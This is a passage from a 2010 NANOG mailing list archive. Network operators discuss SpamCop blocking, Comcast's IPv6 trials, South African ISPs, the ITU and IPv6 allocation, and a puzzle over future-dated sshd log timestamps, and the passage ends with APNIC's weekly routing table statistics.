>> Feb 25 19:08:18 postfix/smtpd[12682]: NOQUEUE: reject: RCPT from >> outmail011.snc1.tfbnw.net[69.63.178.170]: 554 5.7.1 Service unavailable; >> host [69.63.178.170] blocked using bl.spamcop.net; Blocked - see >> http://www.spamcop.net/bl.shtml?69.63.178.170; > > Using the Spamcop BL *solely* as the basis for rejecting mail is a sure way > to lose wanted email. From Spamcop's website: > > "... SpamCop encourages use of the SCBL in concert with an actively maintained > whitelist of wanted email senders. SpamCop encourages SCBL users to tag and > divert email, rather than block it outright." > > "The SCBL is aggressive and often errs on the side of blocking mail... > Many mailservers operate with blacklists in a "tag only" mode, which > is preferable in many situations." > > IMO, the best use of the SCBL is as a scoring metric with Spam Assassin. > Additional discussion should be directed to SPAM-L. > In the early days of spamcop I'd agree with you unconditionally, but over the years they've become much better to the point where I'd argue it's suitable for blocking. In the case of Facebook it certainly is; if they're is feeding spamtraps with enough volume to merit a listing then it is wholeheartedly deserved. ~Seth From michael at thegrebs.com Fri Feb 26 12:15:45 2010 From: michael at thegrebs.com (Michael Greb) Date: Fri, 26 Feb 2010 13:15:45 -0500 Subject: Fwd: Comcast IPv6 Trials Update References: <4b880dc6.c6c1f10a.7ce1.1e45SMTPIN_ADDED@mx.google.com> Message-ID: <16BDBB7A-22CA-43D2-92FF-1FC4A05D3DFF@thegrebs.com> Received this message today. They haven't updated the site yet. Mike Begin forwarded message: > An Important Message From Comcast > > Dear Comcast Customer, > > Thank you for volunteering to participate in Comcast's IPv6 trials! I wanted to provide you with a quick update on what our next steps are and when you can expect to hear from us again. > > As you know, we have four trials described at http://www.comcast6.net. We're in detailed planning on the first three: 6RD, plus native dual-stack for residential and for commercial customers. We expect each of these to start sometime within the next 90 days or so. > > 6RD Trial: > We anticipate having customers from around our network, not limited to any specific areas, participate. We will start the trial on a very small scale and then progressively increase the number of participants. We plan to ship a new home gateway device to each trial participant. > > Residential Native Dual-Stack Trial: > This trial will be limited to a few areas in our network. We are in the midst of determining precisely what those areas will be, based on where we have volunteers and where the infrastructure will be ready. If trial participants do not have an IPv6-capable home gateway and cable modem, one will be provided. > > Commercial Native Dual-Stack Trial: > This trial will be limited to a few areas in our network. We have tentatively identified these trial areas and will soon be in touch with potential trial users. > > Within approximately the next 30 days we will begin to contact some of our volunteers regarding each of these trials, so expect to hear from us soon. > > Thanks again for your interest! > > Regards > Jason Livingood > Internet Systems Engineering > Comcast From randy at psg.com Fri Feb 26 12:17:18 2010 From: randy at psg.com (Randy Bush) Date: Fri, 26 Feb 2010 10:17:18 -0800 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: <4B880416.1070707@apolix.co.za> References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> <4B875EEF.4040409@apolix.co.za> <4B87FA46.2040804@psg.com> <4B880416.1070707@apolix.co.za> Message-ID: > Why is it so hard for you to believe that things are changing for the > better? http://www.hellkom.co.za/ http://www.ispa.org.za/ http://www.ispa.org.za/press-release/ispa-calls-on-icasa-to-make-a-firm-commitment-to-llu randy From wade.peacock at sunwave.net Fri Feb 26 12:20:00 2010 From: wade.peacock at sunwave.net (Wade Peacock) Date: Fri, 26 Feb 2010 10:20:00 -0800 Subject: Future timestamps in /var/log/secure Message-ID: <4B8810D0.9000306@sunwave.net> I found a while ago in /var/log/secure that for an invalid ssh login attempt the ssh Bye Bye line is in the future. I have searched the web and can not find a reason for the future time in the log. Here is a sample. Repeated lines are shown once in first part grep "210.212.145.152" /var/log/secure Feb 26 09:43:13 mx sshd[18117]: Did not receive identification string from 210.212.145.152 Feb 26 09:50:33 mx sshd[19100]: Invalid user 0admin from 210.212.145.152 Feb 26 09:50:36 mx sshd[19106]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.212.145.152 Feb 26 09:50:38 mx sshd[19102]: Failed password for invalid user 0admin from 210.212.145.152 port 39902 ssh2 Feb 26 17:50:38 mx sshd[19113]: Received disconnect from 210.212.145.152: 11: Bye Bye grep -A1 -B1 "sshd\[19118\]: Received disconnect from 210.212.145.152: 11: Bye Bye" /var/log/secure Feb 26 17:50:38 mx sshd[19115]: Received disconnect from 210.212.145.152: 11: Bye Bye Feb 26 17:50:38 mx sshd[19118]: Received disconnect from 210.212.145.152: 11: Bye Bye Feb 26 09:52:39 mx proftpd[17297]: mx.example.com (208.xxx.xxx.xxx[208.xxx.xxx.xxx]) - FTP no transfer timeout, disconnected Can anyone explain the future time stamp on the Bye Bye lines? OS is Centos 5.4, FYI -- Wade Peacock Network Administrator Sun Country Cablevision Ltd Sunwave Internet Department Tel: (250) 832-9711 or (250) 546-9667 Web: http://www.sunwave.net Email: wade.peacock at sunwave.net Support Email: support at sunwave.net From gordslater at ieee.org Fri Feb 26 12:22:10 2010 From: gordslater at ieee.org (gordon b slater) Date: Fri, 26 Feb 2010 18:22:10 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <20100226170924.99ADB1CC0E@ptavv.es.net> References: <20100226170924.99ADB1CC0E@ptavv.es.net> Message-ID: <1267208530.26166.15.camel@ub-g-d2> On Fri, 2010-02-26 at 09:09 -0800, Kevin Oberman wrote: > Oh, and X.25 and X.509 are from an older organization that merged into > the ITU-T when it was created, the CCITT (International Telegraph > and Telephone Consultative Committee). It became the ITU-T in 1992. Yeah, CCITT - thanks for the jog - your memory is better than mine, I was too busy `networking` on a straight hand key and cans in `92. All valves (tubes) and sparks tracking over the damp egg insulators :) I must admit to total confusion over why they need to "grab" IPs from the v6 address space? Surely they don't need the equivalent of band-plans for IP space? Or have I missed some v6 technical point totally? Gord K From bruns at 2mbit.com Fri Feb 26 12:29:02 2010 From: bruns at 2mbit.com (Brielle Bruns) Date: Fri, 26 Feb 2010 11:29:02 -0700 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8810D0.9000306@sunwave.net> References: <4B8810D0.9000306@sunwave.net> Message-ID: <4B8812EE.2020003@2mbit.com> On 2/26/10 11:20 AM, Wade Peacock wrote: > I found a while ago in /var/log/secure that for an invalid ssh login > attempt the ssh Bye Bye line is in the future. I have searched the web > and can not find a reason for the future time in the log. > > Here is a sample. Repeated lines are shown once in first part > > > Feb 26 17:50:38 mx sshd[19115]: Received disconnect from > 210.212.145.152: 11: Bye Bye > Feb 26 17:50:38 mx sshd[19118]: Received disconnect from > 210.212.145.152: 11: Bye Bye > Feb 26 09:52:39 mx proftpd[17297]: mx.example.com > (208.xxx.xxx.xxx[208.xxx.xxx.xxx]) - FTP no transfer timeout, disconnected > > Can anyone explain the future time stamp on the Bye Bye lines? > > OS is Centos 5.4, FYI > Isn't the timestamps inserted by syslog rather then the reporting program itself? What syslog do you use - classic (ie: sysklogd) or a modern one like rsyslog? It almost looks like the timezone got changed from local to GMT or similar, then swapped back (as odd as it may sound). Perhaps time to file a bug report with the author of the syslog daemon you use? -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From brandon.kim at brandontek.com Fri Feb 26 12:32:16 2010 From: brandon.kim at brandontek.com (Brandon Kim) Date: Fri, 26 Feb 2010 13:32:16 -0500 Subject: Comcast IPv6 Trials Update In-Reply-To: <16BDBB7A-22CA-43D2-92FF-1FC4A05D3DFF@thegrebs.com> References: <4b880dc6.c6c1f10a.7ce1.1e45SMTPIN_ADDED@mx.google.com>, <16BDBB7A-22CA-43D2-92FF-1FC4A05D3DFF@thegrebs.com> Message-ID: Wow that's great, hopefully Cablevision will do the same with their optimum online!!! > From: michael at thegrebs.com > Subject: Fwd: Comcast IPv6 Trials Update > Date: Fri, 26 Feb 2010 13:15:45 -0500 > To: nanog at nanog.org > > Received this message today. They haven't updated the site yet. > > Mike > > Begin forwarded message: > > > An Important Message From Comcast > > > > Dear Comcast Customer, > > > > Thank you for volunteering to participate in Comcast's IPv6 trials! I wanted to provide you with a quick update on what our next steps are and when you can expect to hear from us again. > > > > As you know, we have four trials described at http://www.comcast6.net. We're in detailed planning on the first three: 6RD, plus native dual-stack for residential and for commercial customers. We expect each of these to start sometime within the next 90 days or so. > > > > 6RD Trial: > > We anticipate having customers from around our network, not limited to any specific areas, participate. We will start the trial on a very small scale and then progressively increase the number of participants. We plan to ship a new home gateway device to each trial participant. > > > > Residential Native Dual-Stack Trial: > > This trial will be limited to a few areas in our network. We are in the midst of determining precisely what those areas will be, based on where we have volunteers and where the infrastructure will be ready. If trial participants do not have an IPv6-capable home gateway and cable modem, one will be provided. > > > > Commercial Native Dual-Stack Trial: > > This trial will be limited to a few areas in our network. We have tentatively identified these trial areas and will soon be in touch with potential trial users. > > > > Within approximately the next 30 days we will begin to contact some of our volunteers regarding each of these trials, so expect to hear from us soon. > > > > Thanks again for your interest! > > > > Regards > > Jason Livingood > > Internet Systems Engineering > > Comcast > > From LarrySheldon at cox.net Fri Feb 26 12:37:51 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Fri, 26 Feb 2010 12:37:51 -0600 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8812EE.2020003@2mbit.com> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> Message-ID: <4B8814FF.2090904@cox.net> On 2/26/2010 12:29 PM, Brielle Bruns wrote: > On 2/26/10 11:20 AM, Wade Peacock wrote: >> I found a while ago in /var/log/secure that for an invalid ssh login >> attempt the ssh Bye Bye line is in the future. I have searched the web >> and can not find a reason for the future time in the log. >> >> Here is a sample. Repeated lines are shown once in first part >> >> >> Feb 26 17:50:38 mx sshd[19115]: Received disconnect from >> 210.212.145.152: 11: Bye Bye >> Feb 26 17:50:38 mx sshd[19118]: Received disconnect from >> 210.212.145.152: 11: Bye Bye >> Feb 26 09:52:39 mx proftpd[17297]: mx.example.com >> (208.xxx.xxx.xxx[208.xxx.xxx.xxx]) - FTP no transfer timeout, disconnected >> >> Can anyone explain the future time stamp on the Bye Bye lines? >> >> OS is Centos 5.4, FYI >> > > > > Isn't the timestamps inserted by syslog rather then the reporting > program itself? > > What syslog do you use - classic (ie: sysklogd) or a modern one like > rsyslog? It almost looks like the timezone got changed from local to > GMT or similar, then swapped back (as odd as it may sound). > > Perhaps time to file a bug report with the author of the syslog daemon > you use? Been a long time since I've dealt with this stuff, but it looks like the shell for proftpd has a different TZ from the one running the other stuff. (syslogd runs in the shell of the caller, right?) -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From drc at virtualized.org Fri Feb 26 12:43:11 2010 From: drc at virtualized.org (David Conrad) Date: Fri, 26 Feb 2010 10:43:11 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <1267208530.26166.15.camel@ub-g-d2> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> Message-ID: On Feb 26, 2010, at 10:22 AM, gordon b slater wrote: > I must admit to total confusion over why they need to "grab" IPs from > the v6 address space? Surely they don't need the equivalent of > band-plans for IP space? Or have I missed some v6 technical point > totally? The ITU Secretariat and a few member states (Syria being the most frequent) point to the inequality of distribution of IPv4 space and argue that developing countries must not be left out of IPv6 the same way. They have also suggested that the establishment of "Country Internet Registries" (that is, national PTT-based allocation registries) could provide competition for the RIRs, thereby using market forces to improve address allocation services. (Please note that I am not commenting on these proposals, merely trying to summarize them in a non-biased way). There are a couple of papers put out by the ITU (or perhaps more accurately, ITU-funded folks) that discuss this. If anyone cares, I can dig them up. There is much political froth being stirred up here. Regards, -drc From karnaugh at karnaugh.za.net Fri Feb 26 12:45:15 2010 From: karnaugh at karnaugh.za.net (Colin) Date: Fri, 26 Feb 2010 20:45:15 +0200 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> <4B875EEF.4040409@apolix.co.za> <4B87FA46.2040804@psg.com> <4B880416.1070707@apolix.co.za> Message-ID: <78bfcf051002261045p48b059cbx2fe0a3f968e085f7@mail.gmail.com> On Fri, Feb 26, 2010 at 8:17 PM, Randy Bush wrote: > > Why is it so hard for you to believe that things are changing for the > > better? > > http://www.hellkom.co.za/ > > http://www.ispa.org.za/ > > > http://www.ispa.org.za/press-release/ispa-calls-on-icasa-to-make-a-firm-commitment-to-llu > > Hi Randy, Those are all _extremely_ out dated references. The reality is here though. Personally, for the last 12 months I have not paid a single cent to Telkom. Not one of my packets traverses a single Telkom owned piece of equipment. In fact, as I type this email I'm enjoying a lovely secluded beach holiday on the south coast with 7Mbps HSDPA (which really is clocking 7Mbps) and paying about $10 per GB - and none of those bytes go via Telkom either. Yes, you envy me, you can admit it ;) Numerous ISP's have Seacom >STM-1 circuits to an international peering point of their choice, doing last mile over their own metro fibre or wireless. While we all appreciate outrage from across the pond, it's important to keep in touch with change. . Africa is no longer "dark" - but it can still be cheaper. Regards, CA From jbfixurpc at gmail.com Fri Feb 26 12:46:19 2010 From: jbfixurpc at gmail.com (Joe) Date: Fri, 26 Feb 2010 13:46:19 -0500 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8812EE.2020003@2mbit.com> Message-ID: <002b01cab714$099f3c60$4401a8c0@jgbpc> I happend upon this ( https://bugzilla.redhat.com/show_bug.cgi?id=193184 ) which seems to suggest/explain the occurrence. I know it was mentioned to be in the CentOS distro, but I think this might have been adopted into that distro as well since I see the same issues on a RedHat Distro. Not sure if the article helps or hinders but good food for thought. -Joe Blanchard -----Original Message----- From: Brielle Bruns [mailto:bruns at 2mbit.com] Sent: Friday, February 26, 2010 1:29 PM To: nanog at nanog.org Subject: Re: Future timestamps in /var/log/secure On 2/26/10 11:20 AM, Wade Peacock wrote: > I found a while ago in /var/log/secure that for an invalid ssh login > attempt the ssh Bye Bye line is in the future. I have searched the web > and can not find a reason for the future time in the log. > > Here is a sample. Repeated lines are shown once in first part > > > Feb 26 17:50:38 mx sshd[19115]: Received disconnect from > 210.212.145.152: 11: Bye Bye > Feb 26 17:50:38 mx sshd[19118]: Received disconnect from > 210.212.145.152: 11: Bye Bye > Feb 26 09:52:39 mx proftpd[17297]: mx.example.com > (208.xxx.xxx.xxx[208.xxx.xxx.xxx]) - FTP no transfer timeout, > disconnected > > Can anyone explain the future time stamp on the Bye Bye lines? > > OS is Centos 5.4, FYI > Isn't the timestamps inserted by syslog rather then the reporting program itself? What syslog do you use - classic (ie: sysklogd) or a modern one like rsyslog? It almost looks like the timezone got changed from local to GMT or similar, then swapped back (as odd as it may sound). Perhaps time to file a bug report with the author of the syslog daemon you use? -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From jmamodio at gmail.com Fri Feb 26 12:49:48 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 26 Feb 2010 12:49:48 -0600 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <1267203141.26166.8.camel@ub-g-d2> References: <4B87B875.6000509@tuenti.com> <202705b1002260740t3252c74en31353af3d67cb72b@mail.gmail.com> <1267203141.26166.8.camel@ub-g-d2> Message-ID: <202705b1002261049m5b022af5uc6ce467551ecb1f1@mail.gmail.com> > well, from vague memory, ?H.264, G711/729, H323, X.509 were/are ITU-T > standards - maybe X.25 too though I could have that one wrong. Some of the encoding stds are not that bad. The X series and colored books are from the CCITT era, that BTW given that they were "Recommendations" many phone companies and equipment vendors didn't give a squat and implemented them as they pleased, interoperability was a challenge and sort of an art of the dark ages of telecommunications. I still remember getting my butt smoked trying to get a derivate Spanish implementation of X.25 talking with the Turkish one. ITU has nothing to do with managing Internet address and name space, if they want to go back to the dark ages of networking they can build their own network and use CLNP or RSCS ala BITNET. Cheers Jorge From gordslater at ieee.org Fri Feb 26 12:50:02 2010 From: gordslater at ieee.org (gordon b slater) Date: Fri, 26 Feb 2010 18:50:02 +0000 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8812EE.2020003@2mbit.com> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> Message-ID: <1267210202.26166.24.camel@ub-g-d2> On Fri, 2010-02-26 at 11:29 -0700, Brielle Bruns wrote: > Isn't the timestamps inserted by syslog rather then the reporting > program itself? > that's my understanding also (clarification: syslogs of your server have timestamps of your syslegsserver's time, IMHO) eg: on my Debain systems I don't split the logging to /var/log/secure, I can usually handle a large log OK, but it's easy enough to get the authpriv* stuff to log to /v/l/secure if needed. So, my point is, syslogd.conf tells syslogd where to put them, and it stamps the time for each entry. > What syslog do you use - classic (ie: sysklogd) or a modern one like > rsyslog? It almost looks like the timezone got changed from local to > GMT or similar, then swapped back (as odd as it may sound). On a cautionary note, I've seen tz-change shenanigans to mask unauthorised access before, so might be a good time to have quick poke around with a tinfoil hat on, just in case. Don't have a heart attack tough, not yet :) Gord -- this .sig space reserved by ITU-T pending clarification of intentions From wade.peacock at sunwave.net Fri Feb 26 12:51:43 2010 From: wade.peacock at sunwave.net (Wade Peacock) Date: Fri, 26 Feb 2010 10:51:43 -0800 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8812EE.2020003@2mbit.com> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> Message-ID: <4B88183F.7000204@sunwave.net> It is classic syslogd syslogd -v syslogd 1.4.1 I was thinking timezone but we are PST (-8:00) so I can not explain the +12:00 difference. > > Isn't the timestamps inserted by syslog rather then the reporting > program itself? > > What syslog do you use - classic (ie: sysklogd) or a modern one like > rsyslog? It almost looks like the timezone got changed from local to GMT > or similar, then swapped back (as odd as it may sound). > > Perhaps time to file a bug report with the author of the syslog daemon > you use? > > From wade.peacock at sunwave.net Fri Feb 26 12:55:27 2010 From: wade.peacock at sunwave.net (Wade Peacock) Date: Fri, 26 Feb 2010 10:55:27 -0800 Subject: Future timestamps in /var/log/secure In-Reply-To: <4B8814FF.2090904@cox.net> References: <4B8810D0.9000306@sunwave.net> <4B8812EE.2020003@2mbit.com> <4B8814FF.2090904@cox.net> Message-ID: <4B88191F.4050000@sunwave.net> the proftpd line happened to be the next line in the log. the next simular ssh lines looks like (duplicate removed) Feb 26 10:08:48 mx sshd[22165]: Did not receive identification string from UNKNOWN Feb 26 10:09:27 mx sshd[22261]: Failed password for root from 219.137.192.231 port 54111 ssh2 > > Been a long time since I've dealt with this stuff, but it looks like the > shell for proftpd has a different TZ from the one running the other > stuff. (syslogd runs in the shell of the caller, right?) > From cscora at apnic.net Fri Feb 26 12:54:48 2010 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 27 Feb 2010 04:54:48 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <201002261854.o1QIsmOT023451@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 27 Feb, 2010 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 312233 Prefixes after maximum aggregation: 144486 Deaggregation factor: 2.16 Unique aggregates announced to Internet: 153304 Total ASes present in the Internet Routing Table: 33408 Prefixes per ASN: 9.35 Origin-only ASes present in the Internet Routing Table: 29005 Origin ASes announcing only one prefix: 14141 Transit ASes present in the Internet Routing Table: 4403 Transit-only ASes present in the Internet Routing Table: 100 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 22 Max AS path prepend of ASN (32374) 19 Prefixes from unregistered ASNs in the Routing Table: 883 Unregistered ASNs in the Routing Table: 140 Number of 32-bit ASNs allocated by the RIRs: 447 Prefixes from 32-bit ASNs in the Routing Table: 433 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 235 Number of addresses announced to Internet: 2208633792 Equivalent to 131 /8s, 165 /16s and 19 /24s Percentage of available address space announced: 59.6 Percentage of allocated address space announced: 66.2 Percentage of available address space allocated: 90.0 Percentage of address space in use by end-sites: 81.2 Total number of prefixes smaller than registry allocations: 150079 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 75132 Total APNIC prefixes after maximum aggregation: 25995 APNIC Deaggregation factor: 2.89 Prefixes being announced from the APNIC address blocks: 71811 Unique aggregates announced from the APNIC address blocks: 31790 APNIC Region origin ASes present in the Internet Routing Table: 3970 APNIC Prefixes per ASN: 18.09 APNIC Region origin ASes announcing only one prefix: 1083 APNIC Region transit ASes present in the Internet Routing Table: 624 Average APNIC Region AS path length visible: 3.6 Max APNIC Region AS path length visible: 17 Number of APNIC addresses announced to Internet: 513310752 Equivalent to 30 /8s, 152 /16s and 128 /24s Percentage of available APNIC address space announced: 80.5 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 55296-56319, 131072-132095 APNIC Address Blocks 1/8, 27/8, 43/8, 58/8, 59/8, 60/8, 61/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 133/8, 175/8, 180/8, 182/8, 183/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 130267 Total ARIN prefixes after maximum aggregation: 67799 ARIN Deaggregation factor: 1.92 Prefixes being announced from the ARIN address blocks: 104360 Unique aggregates announced from the ARIN address blocks: 39769 ARIN Region origin ASes present in the Internet Routing Table: 13524 ARIN Prefixes per ASN: 7.72 ARIN Region origin ASes announcing only one prefix: 5222 ARIN Region transit ASes present in the Internet Routing Table: 1335 Average ARIN Region AS path length visible: 3.4 Max ARIN Region AS path length visible: 22 Number of ARIN addresses announced to Internet: 739540256 Equivalent to 44 /8s, 20 /16s and 125 /24s Percentage of available ARIN address space announced: 63.0 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 53248-55295, 393216-394239 ARIN Address Blocks 3/8, 4/8, 6/8, 7/8, 8/8, 9/8, 11/8, 12/8, 13/8, 15/8, 16/8, 17/8, 18/8, 19/8, 20/8, 21/8, 22/8, 24/8, 26/8, 28/8, 29/8, 30/8, 32/8, 33/8, 34/8, 35/8, 38/8, 40/8, 44/8, 45/8, 47/8, 48/8, 50/8, 52/8, 54/8, 55/8, 56/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 107/8, 108/8, 173/8, 174/8, 184/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 214/8, 215/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 71976 Total RIPE prefixes after maximum aggregation: 41904 RIPE Deaggregation factor: 1.72 Prefixes being announced from the RIPE address blocks: 64873 Unique aggregates announced from the RIPE address blocks: 42898 RIPE Region origin ASes present in the Internet Routing Table: 14149 RIPE Prefixes per ASN: 4.58 RIPE Region origin ASes announcing only one prefix: 7336 RIPE Region transit ASes present in the Internet Routing Table: 2120 Average RIPE Region AS path length visible: 3.9 Max RIPE Region AS path length visible: 21 Number of RIPE addresses announced to Internet: 415745152 Equivalent to 24 /8s, 199 /16s and 196 /24s Percentage of available RIPE address space announced: 77.4 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223, 196608-197631 RIPE Address Blocks 2/8, 25/8, 46/8, 51/8, 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 178/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 27561 Total LACNIC prefixes after maximum aggregation: 6619 LACNIC Deaggregation factor: 4.16 Prefixes being announced from the LACNIC address blocks: 25902 Unique aggregates announced from the LACNIC address blocks: 14106 LACNIC Region origin ASes present in the Internet Routing Table: 1245 LACNIC Prefixes per ASN: 20.80 LACNIC Region origin ASes announcing only one prefix: 406 LACNIC Region transit ASes present in the Internet Routing Table: 212 Average LACNIC Region AS path length visible: 4.0 Max LACNIC Region AS path length visible: 22 Number of LACNIC addresses announced to Internet: 71013376 Equivalent to 4 /8s, 59 /16s and 148 /24s Percentage of available LACNIC address space announced: 70.5 LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247, 262144-263167 plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 6643 Total AfriNIC prefixes after maximum aggregation: 1772 AfriNIC Deaggregation factor: 3.75 Prefixes being announced from the AfriNIC address blocks: 4981 Unique aggregates announced from the AfriNIC address blocks: 1426 AfriNIC Region origin ASes present in the Internet Routing Table: 343 AfriNIC Prefixes per ASN: 14.52 AfriNIC Region origin ASes announcing only one prefix: 94 AfriNIC Region transit ASes present in the Internet Routing Table: 73 Average AfriNIC Region AS path length visible: 3.8 Max AfriNIC Region AS path length visible: 16 Number of AfriNIC addresses announced to Internet: 14811904 Equivalent to 0 /8s, 226 /16s and 3 /24s Percentage of available AfriNIC address space announced: 44.1 AfriNIC AS Blocks 36864-37887, 327680-328703 & ERX transfers AfriNIC Address Blocks 41/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4766 1859 8533 477 Korea Telecom (KIX) 17488 1288 132 136 Hathway IP Over Cable Interne 4755 1287 288 139 TATA Communications formerly 18101 1083 221 39 Reliance Infocom Ltd Internet 4134 1019 19606 398 CHINANET-BACKBONE 9583 997 75 498 Sify Limited 7545 953 199 100 TPG Internet Pty Ltd 17974 926 278 45 PT TELEKOMUNIKASI INDONESIA 4808 852 1582 212 CNCGROUP IP network: China169 24560 850 300 167 Bharti Airtel Ltd., Telemedia Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4066 3859 314 bellsouth.net, inc. 4323 3790 1084 394 Time Warner Telecom 1785 1831 698 129 PaeTec Communications, Inc. 7018 1561 5774 1007 AT&T WorldNet Services 20115 1553 1491 662 Charter Communications 2386 1316 617 928 AT&T Data Communications Serv 3356 1204 10943 418 Level 3 Communications, LLC 11492 1141 222 14 Cable One 22773 1125 2602 69 Cox Communications, Inc. 6478 1119 242 218 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 35805 581 40 5 United Telecom of Georgia 3292 451 1900 392 TDC Tele Danmark 30890 450 101 205 Evolva Telecom 702 424 1869 336 UUNET - Commercial IP service 8551 396 353 37 Bezeq International 8866 372 110 21 Bulgarian Telecommunication C 3320 363 7072 317 Deutsche Telekom AG 3301 352 1413 313 TeliaNet Sweden 3215 347 3206 103 France Telecom Transpac 12479 326 576 5 Uni2 Autonomous System Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1584 2893 235 UniNet S.A. de C.V. 10620 1010 227 156 TVCABLE BOGOTA 28573 908 698 84 NET Servicos de Comunicao S.A 7303 677 359 99 Telecom Argentina Stet-France 22047 528 310 15 VTR PUNTO NET S.A. 6503 499 167 193 AVANTEL, S.A. 7738 476 922 30 Telecomunicacoes da Bahia S.A 11830 474 308 56 Instituto Costarricense de El 11172 446 99 70 Servicios Alestra S.A de C.V 3816 442 194 69 Empresa Nacional de Telecomun Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 8452 994 445 9 TEDATA 24863 714 144 40 LINKdotNET AS number 36992 585 131 172 Etisalat MISR 3741 273 855 234 The Internet Solution 33776 258 13 11 Starcomms Nigeria Limited 2018 210 215 121 Tertiary Education Network 6713 177 167 12 Itissalat Al-MAGHRIB 29571 169 19 9 Ci Telecom Autonomous system 24835 133 78 11 RAYA Telecom - Egypt 29975 133 506 14 Vodacom Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4066 3859 314 bellsouth.net, inc. 4323 3790 1084 394 Time Warner Telecom 4766 1859 8533 477 Korea Telecom (KIX) 1785 1831 698 129 PaeTec Communications, Inc. 8151 1584 2893 235 UniNet S.A. de C.V. 7018 1561 5774 1007 AT&T WorldNet Services 20115 1553 1491 662 Charter Communications 2386 1316 617 928 AT&T Data Communications Serv 17488 1288 132 136 Hathway IP Over Cable Interne 4755 1287 288 139 TATA Communications formerly Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS 